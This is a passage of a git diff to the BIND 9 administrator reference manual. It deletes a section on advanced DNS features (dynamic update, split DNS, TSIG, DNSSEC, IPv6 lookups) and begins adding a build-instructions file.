+   nameserver 172.16.72.3
+   nameserver 172.16.72.4
+
+.. _ipv6:
+
+IPv6 Support in BIND 9
+----------------------
+
+BIND 9 fully supports all currently defined forms of IPv6 name-to-address
+and address-to-name lookups. It also uses IPv6 addresses to
+make queries when running on an IPv6-capable system.
+
+For forward lookups, BIND 9 supports only AAAA records. :rfc:`3363`
+deprecated the use of A6 records, and client-side support for A6 records
+was accordingly removed from BIND 9. However, authoritative BIND 9 name
+servers still load zone files containing A6 records correctly, answer
+queries for A6 records, and accept zone transfer for a zone containing
+A6 records.
+
+For IPv6 reverse lookups, BIND 9 supports the traditional "nibble"
+format used in the ``ip6.arpa`` domain, as well as the older, deprecated
+``ip6.int`` domain. Older versions of BIND 9 supported the "binary label"
+(also known as "bitstring") format, but support of binary labels has
+been completely removed per :rfc:`3363`. Many applications in BIND 9 do not
+understand the binary label format at all anymore, and return an
+error if one is given. In particular, an authoritative BIND 9 name server will
+not load a zone file containing binary labels.
+
+Address Lookups Using AAAA Records
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The IPv6 AAAA record is a parallel to the IPv4 A record, and, unlike the
+deprecated A6 record, specifies the entire IPv6 address in a single
+record. For example:
+
+::
+
+   $ORIGIN example.com.
+   host            3600    IN      AAAA    2001:db8::1
+
+Use of IPv4-in-IPv6 mapped addresses is not recommended. If a host has
+an IPv4 address, use an A record, not a AAAA, with
+``::ffff:192.168.42.1`` as the address.
+
+Address-to-Name Lookups Using Nibble Format
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When looking up an address in nibble format, the address components are
+simply reversed, just as in IPv4, and ``ip6.arpa.`` is appended to the
+resulting name. For example, the following commands produce a reverse name
+lookup for a host with address ``2001:db8::1``:
+
+::
+
+   $ORIGIN 0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa.
+   1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0  14400   IN    PTR    (
+                       host.example.com. )
diff --git a/doc/arm/advanced.rst b/doc/arm/advanced.rst
deleted file mode 100644
index b82887aa27..0000000000
--- a/doc/arm/advanced.rst
+++ /dev/null
@@ -1,845 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. Advanced:
-
-Advanced DNS Features
-=====================
-
-.. _notify:
-
-Notify
-------
-
-DNS NOTIFY is a mechanism that allows primary servers to notify their
-secondary servers of changes to a zone's data. In response to a ``NOTIFY``
-from a primary server, the secondary checks to see that its version of
-the zone is the current version and, if not, initiates a zone transfer.
-
-For more information about DNS ``NOTIFY``, see the description of the
-``notify`` option in :ref:`boolean_options` and the
-description of the zone option ``also-notify`` in :ref:`zone_transfers`.
-The ``NOTIFY`` protocol is specified in :rfc:`1996`.
-
-.. note::
-
-   As a secondary zone can also be a primary to other secondaries, ``named``, by
-   default, sends ``NOTIFY`` messages for every zone it loads.
-   Specifying ``notify primary-only;`` causes ``named`` to only send
-   ``NOTIFY`` for primary zones that it loads.
-
-.. _dynamic_update:
-
-Dynamic Update
---------------
-
-Dynamic update is a method for adding, replacing, or deleting records in
-a primary server by sending it a special form of DNS messages. The format
-and meaning of these messages is specified in :rfc:`2136`.
-
-Dynamic update is enabled by including an ``allow-update`` or an
-``update-policy`` clause in the ``zone`` statement.
-
-If the zone's ``update-policy`` is set to ``local``, updates to the zone
-are permitted for the key ``local-ddns``, which is generated by
-``named`` at startup. See :ref:`dynamic_update_policies` for more details.
-
-Dynamic updates using Kerberos-signed requests can be made using the
-TKEY/GSS protocol, either by setting the ``tkey-gssapi-keytab`` option
-or by setting both the ``tkey-gssapi-credential`` and
-``tkey-domain`` options. Once enabled, Kerberos-signed requests are
-matched against the update policies for the zone, using the Kerberos
-principal as the signer for the request.
-
-Updating of secure zones (zones using DNSSEC) follows :rfc:`3007`: RRSIG,
-NSEC, and NSEC3 records affected by updates are automatically regenerated
-by the server using an online zone key. Update authorization is based on
-transaction signatures and an explicit server policy.
-
-.. _journal:
-
-The Journal File
-~~~~~~~~~~~~~~~~
-
-All changes made to a zone using dynamic update are stored in the zone's
-journal file. This file is automatically created by the server when the
-first dynamic update takes place. The name of the journal file is formed
-by appending the extension ``.jnl`` to the name of the corresponding
-zone file, unless specifically overridden. The journal file is in a
-binary format and should not be edited manually.
-
-The server also occasionally writes ("dumps") the complete contents
-of the updated zone to its zone file. This is not done immediately after
-each dynamic update because that would be too slow when a large zone is
-updated frequently. Instead, the dump is delayed by up to 15 minutes,
-allowing additional updates to take place. During the dump process,
-transient files are created with the extensions ``.jnw`` and
-``.jbk``; under ordinary circumstances, these are removed when the
-dump is complete, and can be safely ignored.
-
-When a server is restarted after a shutdown or crash, it replays the
-journal file to incorporate into the zone any updates that took place
-after the last zone dump.
-
-Changes that result from incoming incremental zone transfers are also
-journaled in a similar way.
-
-The zone files of dynamic zones cannot normally be edited by hand
-because they are not guaranteed to contain the most recent dynamic
-changes; those are only in the journal file. The only way to ensure
-that the zone file of a dynamic zone is up-to-date is to run
-``rndc stop``.
-
-To make changes to a dynamic zone manually, follow these steps:
-first, disable dynamic updates to the zone using
-``rndc freeze zone``. This updates the zone file with the
-changes stored in its ``.jnl`` file. Then, edit the zone file. Finally, run
-``rndc thaw zone`` to reload the changed zone and re-enable dynamic
-updates.
-
-``rndc sync zone`` updates the zone file with changes from the
-journal file without stopping dynamic updates; this may be useful for
-viewing the current zone state. To remove the ``.jnl`` file after
-updating the zone file, use ``rndc sync -clean``.
-
-.. _incremental_zone_transfers:
-
-Incremental Zone Transfers (IXFR)
----------------------------------
-
-The incremental zone transfer (IXFR) protocol is a way for secondary servers
-to transfer only changed data, instead of having to transfer an entire
-zone. The IXFR protocol is specified in :rfc:`1995`. See :ref:`proposed_standards`.
-
-When acting as a primary server, BIND 9 supports IXFR for those zones where the
-necessary change history information is available. These include primary
-zones maintained by dynamic update and secondary zones whose data was
-obtained by IXFR. For manually maintained primary zones, and for secondary
-zones obtained by performing a full zone transfer (AXFR), IXFR is
-supported only if the option ``ixfr-from-differences`` is set to
-``yes``.
-
-When acting as a secondary server, BIND 9 attempts to use IXFR unless it is
-explicitly disabled. For more information about disabling IXFR, see the
-description of the ``request-ixfr`` clause of the ``server`` statement.
-
-When a secondary server receives a zone via AXFR, it creates a new copy of the
-zone database and then swaps it into place; during the loading process, queries
-continue to be served from the old database with no interference. When receiving
-a zone via IXFR, however, changes are applied to the running zone, which may
-degrade query performance during the transfer. If a server receiving an IXFR
-request determines that the response size would be similar in size to an AXFR
-response, it may wish to send AXFR instead. The threshold at which this
-determination is made can be configured using the
-``max-ixfr-ratio`` option.
-
-.. _split_dns:
-
-Split DNS
----------
-
-Setting up different views of the DNS space to internal
-and external resolvers is usually referred to as a *split DNS* setup.
-There are several reasons an organization might want to set up its DNS
-this way.
-
-One common reason to use split DNS is to hide
-"internal" DNS information from "external" clients on the Internet.
-There is some debate as to whether this is actually useful.
-Internal DNS information leaks out in many ways (via email headers, for
-example) and most savvy "attackers" can find the information they need
-using other means. However, since listing addresses of internal servers
-that external clients cannot possibly reach can result in connection
-delays and other annoyances, an organization may choose to use split
-DNS to present a consistent view of itself to the outside world.
-
-Another common reason for setting up a split DNS system is to allow
-internal networks that are behind filters or in :rfc:`1918` space (reserved
-IP space, as documented in :rfc:`1918`) to resolve DNS on the Internet.
-Split DNS can also be used to allow mail from outside back into the
-internal network.
-
-.. _split_dns_sample:
-
-Example Split DNS Setup
-~~~~~~~~~~~~~~~~~~~~~~~
-
-Let's say a company named *Example, Inc.* (``example.com``) has several
-corporate sites that have an internal network with reserved Internet
-Protocol (IP) space and an external demilitarized zone (DMZ), or
-"outside" section of a network, that is available to the public.
-
-Example, Inc. wants its internal clients to be able to resolve
-external hostnames and to exchange mail with people on the outside. The
-company also wants its internal resolvers to have access to certain
-internal-only zones that are not available at all outside of the
-internal network.
-
-To accomplish this, the company sets up two sets of name
-servers. One set is on the inside network (in the reserved IP
-space) and the other set is on bastion hosts, which are "proxy"
-hosts in the DMZ that can talk to both sides of its network.
-
-The internal servers are configured to forward all queries, except
-queries for ``site1.internal``, ``site2.internal``,
-``site1.example.com``, and ``site2.example.com``, to the servers in the
-DMZ. These internal servers have complete sets of information for
-``site1.example.com``, ``site2.example.com``, ``site1.internal``, and
-``site2.internal``.
-
-To protect the ``site1.internal`` and ``site2.internal`` domains, the
-internal name servers must be configured to disallow all queries to
-these domains from any external hosts, including the bastion hosts.
-
-The external servers, which are on the bastion hosts, are configured
-to serve the "public" version of the ``site1.example.com`` and ``site2.example.com``
-zones. This could include things such as the host records for public
-servers (``www.example.com`` and ``ftp.example.com``) and mail exchange
-(MX) records (``a.mx.example.com`` and ``b.mx.example.com``).
-
-In addition, the public ``site1.example.com`` and ``site2.example.com`` zones should
-have special MX records that contain wildcard (``*``) records pointing to
-the bastion hosts. This is needed because external mail servers
-have no other way of determining how to deliver mail to those internal
-hosts. With the wildcard records, the mail is delivered to the
-bastion host, which can then forward it on to internal hosts.
-
-Here's an example of a wildcard MX record:
-
-::
-
-   *   IN MX 10 external1.example.com.
-
-Now that they accept mail on behalf of anything in the internal network,
-the bastion hosts need to know how to deliver mail to internal
-hosts. The resolvers on the bastion
-hosts need to be configured to point to the internal name servers
-for DNS resolution.
-
-Queries for internal hostnames are answered by the internal servers,
-and queries for external hostnames are forwarded back out to the DNS
-servers on the bastion hosts.
-
-For all of this to work properly, internal clients need to be
-configured to query *only* the internal name servers for DNS queries.
-This could also be enforced via selective filtering on the network.
-
-If everything has been set properly, Example, Inc.'s internal clients
-are now able to:
-
--  Look up any hostnames in the ``site1.example.com`` and ``site2.example.com``
-   zones.
-
--  Look up any hostnames in the ``site1.internal`` and
-   ``site2.internal`` domains.
-
--  Look up any hostnames on the Internet.
-
--  Exchange mail with both internal and external users.
-
-Hosts on the Internet are able to:
-
--  Look up any hostnames in the ``site1.example.com`` and ``site2.example.com``
-   zones.
-
--  Exchange mail with anyone in the ``site1.example.com`` and ``site2.example.com``
-   zones.
-
-Here is an example configuration for the setup just described above.
-Note that this is only configuration information; for information on how
-to configure the zone files, see :ref:`sample_configuration`.
-
-Internal DNS server config:
-
-::
-
-
-   acl internals { 172.16.72.0/24; 192.168.1.0/24; };
-
-   acl externals { bastion-ips-go-here; };
-
-   options {
-       ...
-       ...
-       forward only;
-       // forward to external servers
-       forwarders {
-       bastion-ips-go-here;
-       };
-       // sample allow-transfer (no one)
-       allow-transfer { none; };
-       // restrict query access
-       allow-query { internals; externals; };
-       // restrict recursion
-       allow-recursion { internals; };
-       ...
-       ...
-   };
-
-   // sample primary zone
-   zone "site1.example.com" {
-     type primary;
-     file "m/site1.example.com";
-     // do normal iterative resolution (do not forward)
-     forwarders { };
-     allow-query { internals; externals; };
-     allow-transfer { internals; };
-   };
-
-   // sample secondary zone
-   zone "site2.example.com" {
-     type secondary;
-     file "s/site2.example.com";
-     primaries { 172.16.72.3; };
-     forwarders { };
-     allow-query { internals; externals; };
-     allow-transfer { internals; };
-   };
-
-   zone "site1.internal" {
-     type primary;
-     file "m/site1.internal";
-     forwarders { };
-     allow-query { internals; };
-     allow-transfer { internals; }
-   };
-
-   zone "site2.internal" {
-     type secondary;
-     file "s/site2.internal";
-     primaries { 172.16.72.3; };
-     forwarders { };
-     allow-query { internals };
-     allow-transfer { internals; }
-   };
-
-External (bastion host) DNS server configuration:
-
-::
-
-   acl internals { 172.16.72.0/24; 192.168.1.0/24; };
-
-   acl externals { bastion-ips-go-here; };
-
-   options {
-     ...
-     ...
-     // sample allow-transfer (no one)
-     allow-transfer { none; };
-     // default query access
-     allow-query { any; };
-     // restrict cache access
-     allow-query-cache { internals; externals; };
-     // restrict recursion
-     allow-recursion { internals; externals; };
-     ...
-     ...
-   };
-
-   // sample secondary zone
-   zone "site1.example.com" {
-     type primary;
-     file "m/site1.foo.com";
-     allow-transfer { internals; externals; };
-   };
-
-   zone "site2.example.com" {
-     type secondary;
-     file "s/site2.foo.com";
-     masters { another_bastion_host_maybe; };
-     allow-transfer { internals; externals; }
-   };
-
-In the ``resolv.conf`` (or equivalent) on the bastion host(s):
-
-::
-
-   search ...
-   nameserver 172.16.72.2
-   nameserver 172.16.72.3
-   nameserver 172.16.72.4
-
-.. _tsig:
-
-TSIG
-----
-
-TSIG (Transaction SIGnatures) is a mechanism for authenticating DNS
-messages, originally specified in :rfc:`2845`. It allows DNS messages to be
-cryptographically signed using a shared secret. TSIG can be used in any
-DNS transaction, as a way to restrict access to certain server functions
-(e.g., recursive queries) to authorized clients when IP-based access
-control is insufficient or needs to be overridden, or as a way to ensure
-message authenticity when it is critical to the integrity of the server,
-such as with dynamic UPDATE messages or zone transfers from a primary to
-a secondary server.
-
-This section is a guide to setting up TSIG in BIND. It describes the
-configuration syntax and the process of creating TSIG keys.
-
-``named`` supports TSIG for server-to-server communication, and some of
-the tools included with BIND support it for sending messages to
-``named``:
-
-   * :ref:`man_nsupdate` supports TSIG via the ``-k``, ``-l``, and ``-y`` command-line options, or via the ``key`` command when running interactively.
-   * :ref:`man_dig` supports TSIG via the ``-k`` and ``-y`` command-line options.
-
-Generating a Shared Key
-~~~~~~~~~~~~~~~~~~~~~~~
-
-TSIG keys can be generated using the ``tsig-keygen`` command; the output
-of the command is a ``key`` directive suitable for inclusion in
-``named.conf``. The key name, algorithm, and size can be specified by
-command-line parameters; the defaults are "tsig-key", HMAC-SHA256, and
-256 bits, respectively.
-
-Any string which is a valid DNS name can be used as a key name. For
-example, a key to be shared between servers called ``host1`` and ``host2``
-could be called "host1-host2.", and this key can be generated using:
-
-::
-
-     $ tsig-keygen host1-host2. > host1-host2.key
-
-This key may then be copied to both hosts. The key name and secret must
-be identical on both hosts. (Note: copying a shared secret from one
-server to another is beyond the scope of the DNS. A secure transport
-mechanism should be used: secure FTP, SSL, ssh, telephone, encrypted
-email, etc.)
-
-``tsig-keygen`` can also be run as ``ddns-confgen``, in which case its
-output includes additional configuration text for setting up dynamic DNS
-in ``named``. See :ref:`tsig-keygen, ddns-confgen - TSIG key generation
-tool <man_tsig-keygen_ddns-confgen>` for details.
-
-Loading a New Key
-~~~~~~~~~~~~~~~~~
-
-For a key shared between servers called ``host1`` and ``host2``, the
-following could be added to each server's ``named.conf`` file:
-
-::
-
-   key "host1-host2." {
-       algorithm hmac-sha256;
-       secret "DAopyf1mhCbFVZw7pgmNPBoLUq8wEUT7UuPoLENP2HY=";
-   };
-
-(This is the same key generated above using ``tsig-keygen``.)
-
-Since this text contains a secret, it is recommended that either
-``named.conf`` not be world-readable, or that the ``key`` directive be
-stored in a file which is not world-readable and which is included in
-``named.conf`` via the ``include`` directive.
-
-Once a key has been added to ``named.conf`` and the server has been
-restarted or reconfigured, the server can recognize the key. If the
-server receives a message signed by the key, it is able to verify
-the signature. If the signature is valid, the response is signed
-using the same key.
-
-TSIG keys that are known to a server can be listed using the command
-``rndc tsig-list``.
-
-Instructing the Server to Use a Key
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-A server sending a request to another server must be told whether to use
-a key, and if so, which key to use.
-
-For example, a key may be specified for each server in the ``primaries``
-statement in the definition of a secondary zone; in this case, all SOA QUERY
-messages, NOTIFY messages, and zone transfer requests (AXFR or IXFR)
-are signed using the specified key. Keys may also be specified in
-the ``also-notify`` statement of a primary or secondary zone, causing NOTIFY
-messages to be signed using the specified key.
-
-Keys can also be specified in a ``server`` directive. Adding the
-following on ``host1``, if the IP address of ``host2`` is 10.1.2.3, would
-cause *all* requests from ``host1`` to ``host2``, including normal DNS
-queries, to be signed using the ``host1-host2.`` key:
-
-::
-
-   server 10.1.2.3 {
-       keys { host1-host2. ;};
-   };
-
-Multiple keys may be present in the ``keys`` statement, but only the
-first one is used. As this directive does not contain secrets, it can be
-used in a world-readable file.
-
-Requests sent by ``host2`` to ``host1`` would *not* be signed, unless a
-similar ``server`` directive were in ``host2``'s configuration file.
-
-When any server sends a TSIG-signed DNS request, it expects the
-response to be signed with the same key. If a response is not signed, or
-if the signature is not valid, the response is rejected.
-
-TSIG-Based Access Control
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-TSIG keys may be specified in ACL definitions and ACL directives such as
-``allow-query``, ``allow-transfer``, and ``allow-update``. The above key
-would be denoted in an ACL element as ``key host1-host2.``
-
-Here is an example of an ``allow-update`` directive using a TSIG key:
-
-::
-
-   allow-update { !{ !localnets; any; }; key host1-host2. ;};
-
-This allows dynamic updates to succeed only if the UPDATE request comes
-from an address in ``localnets``, *and* if it is signed using the
-``host1-host2.`` key.
-
-See :ref:`dynamic_update_policies` for a
-discussion of the more flexible ``update-policy`` statement.
-
-Errors
-~~~~~~
-
-Processing of TSIG-signed messages can result in several errors:
-
--  If a TSIG-aware server receives a message signed by an unknown key,
-   the response will be unsigned, with the TSIG extended error code set
-   to BADKEY.
--  If a TSIG-aware server receives a message from a known key but with
-   an invalid signature, the response will be unsigned, with the TSIG
-   extended error code set to BADSIG.
--  If a TSIG-aware server receives a message with a time outside of the
-   allowed range, the response will be signed but the TSIG extended
-   error code set to BADTIME, and the time values will be adjusted so
-   that the response can be successfully verified.
-
-In all of the above cases, the server returns a response code of
-NOTAUTH (not authenticated).
-
-TKEY
-----
-
-TKEY (Transaction KEY) is a mechanism for automatically negotiating a
-shared secret between two hosts, originally specified in :rfc:`2930`.
-
-There are several TKEY "modes" that specify how a key is to be generated
-or assigned. BIND 9 implements only one of these modes: Diffie-Hellman
-key exchange. Both hosts are required to have a KEY record with
-algorithm DH (though this record is not required to be present in a
-zone).
-
-The TKEY process is initiated by a client or server by sending a query
-of type TKEY to a TKEY-aware server. The query must include an
-appropriate KEY record in the additional section, and must be signed
-using either TSIG or SIG(0) with a previously established key. The
-server's response, if successful, contains a TKEY record in its
-answer section. After this transaction, both participants have
-enough information to calculate a shared secret using Diffie-Hellman key
-exchange. The shared secret can then be used to sign subsequent
-transactions between the two servers.
-
-TSIG keys known by the server, including TKEY-negotiated keys, can be
-listed using ``rndc tsig-list``.
-
-TKEY-negotiated keys can be deleted from a server using
-``rndc tsig-delete``. This can also be done via the TKEY protocol
-itself, by sending an authenticated TKEY query specifying the "key
-deletion" mode.
-
-SIG(0)
-------
-
-BIND partially supports DNSSEC SIG(0) transaction signatures as
-specified in :rfc:`2535` and :rfc:`2931`. SIG(0) uses public/private keys to
-authenticate messages. Access control is performed in the same manner as with
-TSIG keys; privileges can be granted or denied in ACL directives based
-on the key name.
-
-When a SIG(0) signed message is received, it is only verified if
-the key is known and trusted by the server. The server does not attempt
-to recursively fetch or validate the key.
-
-SIG(0) signing of multiple-message TCP streams is not supported.
-
-The only tool shipped with BIND 9 that generates SIG(0) signed messages
-is ``nsupdate``.
-
-.. _DNSSEC:
-
-DNSSEC
-------
-
-Cryptographic authentication of DNS information is possible through the
-DNS Security ("DNSSEC-bis") extensions, defined in :rfc:`4033`, :rfc:`4034`,
-and :rfc:`4035`. This section describes the creation and use of DNSSEC
-signed zones.
-
-In order to set up a DNSSEC secure zone, there are a series of steps
-which must be followed. BIND 9 ships with several tools that are used in
-this process, which are explained in more detail below. In all cases,
-the ``-h`` option prints a full list of parameters. Note that the DNSSEC
-tools require the keyset files to be in the working directory or the
-directory specified by the ``-d`` option.
-
-There must also be communication with the administrators of the parent
-and/or child zone to transmit keys. A zone's security status must be
-indicated by the parent zone for a DNSSEC-capable resolver to trust its
-data. This is done through the presence or absence of a ``DS`` record at
-the delegation point.
-
-For other servers to trust data in this zone, they must be
-statically configured with either this zone's zone key or the zone key of
-another zone above this one in the DNS tree.
-
-.. _generating_dnssec_keys:
-
-Generating Keys
-~~~~~~~~~~~~~~~
-
-The ``dnssec-keygen`` program is used to generate keys.
-
-A secure zone must contain one or more zone keys. The zone keys
-sign all other records in the zone, as well as the zone keys of any
-secure delegated zones. Zone keys must have the same name as the zone, have a
-name type of ``ZONE``, and be usable for authentication. It is
-recommended that zone keys use a cryptographic algorithm designated as
-"mandatory to implement" by the IETF. Currently there are two algorithms,
-RSASHA256 and ECDSAP256SHA256; ECDSAP256SHA256 is recommended for
-current and future deployments.
-
-The following command generates a ECDSAP256SHA256 key for the
-``child.example`` zone:
-
-``dnssec-keygen -a ECDSAP256SHA256 -n ZONE child.example.``
-
-Two output files are produced: ``Kchild.example.+013+12345.key`` and
-``Kchild.example.+013+12345.private`` (where 12345 is an example of a
-key tag). The key filenames contain the key name (``child.example.``),
-the algorithm (5 is RSASHA1, 8 is RSASHA256, 13 is ECDSAP256SHA256, 15 is
-ED25519, etc.), and the key tag (12345 in this case). The private key (in
-the ``.private`` file) is used to generate signatures, and the public
-key (in the ``.key`` file) is used for signature verification.
-
-To generate another key with the same properties but with a different
-key tag, repeat the above command.
-
-The ``dnssec-keyfromlabel`` program is used to get a key pair from a
-crypto hardware device and build the key files. Its usage is similar to
-``dnssec-keygen``.
-
-The public keys should be inserted into the zone file by including the
-``.key`` files using ``$INCLUDE`` statements.
-
-.. _dnssec_zone_signing:
-
-Signing the Zone
-~~~~~~~~~~~~~~~~
-
-The ``dnssec-signzone`` program is used to sign a zone.
-
-Any ``keyset`` files corresponding to secure sub-zones should be
-present. The zone signer generates ``NSEC``, ``NSEC3``, and ``RRSIG``
-records for the zone, as well as ``DS`` for the child zones if ``-g``
-is specified. If ``-g`` is not specified, then DS RRsets for the
-secure child zones need to be added manually.
-
-By default, all zone keys which have an available private key are used
-to generate signatures. The following command signs the zone, assuming
-it is in a file called ``zone.child.example``:
-
-``dnssec-signzone -o child.example zone.child.example``
-
-One output file is produced: ``zone.child.example.signed``. This file
-should be referenced by ``named.conf`` as the input file for the zone.
-
-``dnssec-signzone`` also produces keyset and dsset files. These are used
-to provide the parent zone administrators with the ``DNSKEYs`` (or their
-corresponding ``DS`` records) that are the secure entry point to the zone.
-
-.. _dnssec_config:
-
-Configuring Servers for DNSSEC
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-To enable ``named`` to validate answers received from other servers, the
-``dnssec-validation`` option must be set to either ``yes`` or ``auto``.
-
-When ``dnssec-validation`` is set to ``auto``, a trust anchor for the
-DNS root zone is automatically used. This trust anchor is provided
-as part of BIND and is kept up to date using :rfc:`5011` key management.
-
-When ``dnssec-validation`` is set to ``yes``, DNSSEC validation
-only occurs if at least one trust anchor has been explicitly configured
-in ``named.conf``, using a ``trust-anchors`` statement (or the
-``managed-keys`` and ``trusted-keys`` statements, both deprecated).
-
-When ``dnssec-validation`` is set to ``no``, DNSSEC validation does not
-occur.
-
-The default is ``auto`` unless BIND is built with
-``configure --disable-auto-validation``, in which case the default is
-``yes``.
-
-The keys specified in ``trust-anchors`` are copies of DNSKEY RRs for zones that are
-used to form the first link in the cryptographic chain of trust. Keys configured
-with the keyword ``static-key`` or ``static-ds`` are loaded directly into the
-table of trust anchors, and can only be changed by altering the
-configuration. Keys configured with ``initial-key`` or ``initial-ds`` are used
-to initialize :rfc:`5011` trust anchor maintenance, and are kept up-to-date
-automatically after the first time ``named`` runs.
-
-``trust-anchors`` is described in more detail later in this document.
-
-BIND 9 does not verify signatures on load, so zone keys
-for authoritative zones do not need to be specified in the configuration
-file.
-
-After DNSSEC is established, a typical DNSSEC configuration looks
-something like the following. It has one or more public keys for the
-root, which allows answers from outside the organization to be validated.
-It also has several keys for parts of the namespace that the
-organization controls. These are here to ensure that ``named`` is immune
-to compromised security in the DNSSEC components of parent zones.
-
-::
-
-   trust-anchors {
-       /* Root Key */
-       "." initial-key 257 3 3 "BNY4wrWM1nCfJ+CXd0rVXyYmobt7sEEfK3clRbGaTwS
-                    JxrGkxJWoZu6I7PzJu/E9gx4UC1zGAHlXKdE4zYIpRh
-                    aBKnvcC2U9mZhkdUpd1Vso/HAdjNe8LmMlnzY3zy2Xy
-                    4klWOADTPzSv9eamj8V18PHGjBLaVtYvk/ln5ZApjYg
-                    hf+6fElrmLkdaz MQ2OCnACR817DF4BBa7UR/beDHyp
-                    5iWTXWSi6XmoJLbG9Scqc7l70KDqlvXR3M/lUUVRbke
-                    g1IPJSidmK3ZyCllh4XSKbje/45SKucHgnwU5jefMtq
-                    66gKodQj+MiA21AfUVe7u99WzTLzY3qlxDhxYQQ20FQ
-                    97S+LKUTpQcq27R7AT3/V5hRQxScINqwcz4jYqZD2fQ
-                    dgxbcDTClU0CRBdiieyLMNzXG3";
-       /* Key for our organization's forward zone */
-       example.com. static-ds 54135 5 2 "8EF922C97F1D07B23134440F19682E7519ADDAE180E20B1B1EC52E7F58B2831D"
-
-       /* Key for our reverse zone. */
-       2.0.192.IN-ADDRPA.NET. static-key 257 3 5 "AQOnS4xn/IgOUpBPJ3bogzwc
-                          xOdNax071L18QqZnQQQAVVr+i
-                          LhGTnNGp3HoWQLUIzKrJVZ3zg
-                          gy3WwNT6kZo6c0tszYqbtvchm
-                          gQC8CzKojM/W16i6MG/eafGU3
-                          siaOdS0yOI6BgPsw+YZdzlYMa
-                          IJGf4M4dyoKIhzdZyQ2bYQrjy
-                          Q4LB0lC7aOnsMyYKHHYeRvPxj
-                          IQXmdqgOJGq+vsevG06zW+1xg
-                          YJh9rCIfnm1GX/KMgxLPG2vXT
-                          D/RnLX+D3T3UL7HJYHJhAZD5L
-                          59VvjSPsZJHeDCUyWYrvPZesZ
-                          DIRvhDD52SKvbheeTJUm6Ehkz
-                          ytNN2SN96QRk8j/iI8ib";
-   };
-
-   options {
-       ...
-       dnssec-validation yes;
-   };
-
-..
-
-.. note::
-
-   None of the keys listed in this example are valid. In particular, the
-   root key is not valid.
-
-When DNSSEC validation is enabled and properly configured, the resolver
-rejects any answers from signed, secure zones which fail to
-validate, and returns SERVFAIL to the client.
-
-Responses may fail to validate for any of several reasons, including
-missing, expired, or invalid signatures, a key which does not match the
-DS RRset in the parent zone, or an insecure response from a zone which,
-according to its parent, should have been secure.
-
-.. note::
-
-   When the validator receives a response from an unsigned zone that has
-   a signed parent, it must confirm with the parent that the zone was
-   intentionally left unsigned. It does this by verifying, via signed
-   and validated NSEC/NSEC3 records, that the parent zone contains no DS
-   records for the child.
-
-   If the validator *can* prove that the zone is insecure, then the
-   response is accepted. However, if it cannot, the validator must assume an
-   insecure response to be a forgery; it rejects the response and logs
-   an error.
-
-   The logged error reads "insecurity proof failed" and "got insecure
-   response; parent indicates it should be secure."
-
-
-.. include:: dnssec.rst
-.. include:: managed-keys.rst
-.. include:: pkcs11.rst
-.. include:: dlz.rst
-.. include:: dyndb.rst
-.. include:: catz.rst
-
-.. _ipv6:
-
-IPv6 Support in BIND 9
-----------------------
-
-BIND 9 fully supports all currently defined forms of IPv6 name-to-address
-and address-to-name lookups. It also uses IPv6 addresses to
-make queries when running on an IPv6-capable system.
-
-For forward lookups, BIND 9 supports only AAAA records. :rfc:`3363`
-deprecated the use of A6 records, and client-side support for A6 records
-was accordingly removed from BIND 9. However, authoritative BIND 9 name
-servers still load zone files containing A6 records correctly, answer
-queries for A6 records, and accept zone transfer for a zone containing
-A6 records.
-
-For IPv6 reverse lookups, BIND 9 supports the traditional "nibble"
-format used in the ``ip6.arpa`` domain, as well as the older, deprecated
-``ip6.int`` domain. Older versions of BIND 9 supported the "binary label"
-(also known as "bitstring") format, but support of binary labels has
-been completely removed per :rfc:`3363`. Many applications in BIND 9 do not
-understand the binary label format at all anymore, and return an
-error if one is given. In particular, an authoritative BIND 9 name server will
-not load a zone file containing binary labels.
-
-For an overview of the format and structure of IPv6 addresses, see
-:ref:`ipv6addresses`.
-
-Address Lookups Using AAAA Records
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The IPv6 AAAA record is a parallel to the IPv4 A record, and, unlike the
-deprecated A6 record, specifies the entire IPv6 address in a single
-record. For example:
-
-::
-
-   $ORIGIN example.com.
-   host            3600    IN      AAAA    2001:db8::1
-
-Use of IPv4-in-IPv6 mapped addresses is not recommended. If a host has
-an IPv4 address, use an A record, not a AAAA, with
-``::ffff:192.168.42.1`` as the address.
-
-Address-to-Name Lookups Using Nibble Format
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When looking up an address in nibble format, the address components are
-simply reversed, just as in IPv4, and ``ip6.arpa.`` is appended to the
-resulting name. For example, the following would provide reverse name
-lookup for a host with address ``2001:db8::1``:
-
-::
-
-   $ORIGIN 0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa.
-   1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0  14400   IN    PTR    (
-                       host.example.com. )
diff --git a/doc/arm/build.inc.rst b/doc/arm/build.inc.rst
new file mode 100644
index 0000000000..f47ca5d651
--- /dev/null
+++ b/doc/arm/build.inc.rst
@@ -0,0 +1,180 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _build_bind:
+
+Building BIND 9
+---------------
+
+To build on a Unix or Linux system, use:
+
+::
+
+    $ autoreconf -fi ### (only if building from the git repository)
+    $ ./configure
+    $ make
+
+Several environment variables affect compilation, and they can be set
+before running ``configure``. The most significant ones are:
+
++--------------------+-------------------------------------------------+
+| Variable           | Description                                     |
++====================+=================================================+
+| ``CC``             | The C compiler to use. ``configure`` tries to   |
